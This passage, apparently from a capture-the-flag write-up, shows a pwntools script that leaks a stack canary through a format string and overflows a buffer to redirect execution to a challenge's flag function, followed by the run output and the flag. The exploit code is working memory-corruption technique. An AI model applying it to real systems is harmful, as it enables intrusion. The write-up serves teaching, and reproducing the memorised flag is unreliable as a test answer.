r = remote('shell.actf.co', 20701)

# flag function address
flag = p64(0x400787)

# format string to leak stack cookie
r.sendline(';%17$p;')

# the stack cookie
cookie = int(r.recvuntil('tell me? ').split(';')[1], 16)

# full buffer overflow payload
payload = 'A' * 56 + p64(cookie) + 'A' * (72 - 56 - 8) + flag

# send the payload
r.sendline(payload)

# print the results
print(r.recvall())

Running the script gives the following.

root@9903d51849b1 /pwn# python exploit.py 
[+] Opening connection to shell.actf.co on port 20701: Done
[+] Receiving all data: Done (51B)
[*] Closed connection to shell.actf.co port 20701
actf{youre_a_canary_killer_>:(}
Segmentation fault

As you can see, the flag is actf{youre_a_canary_killer_>:(}!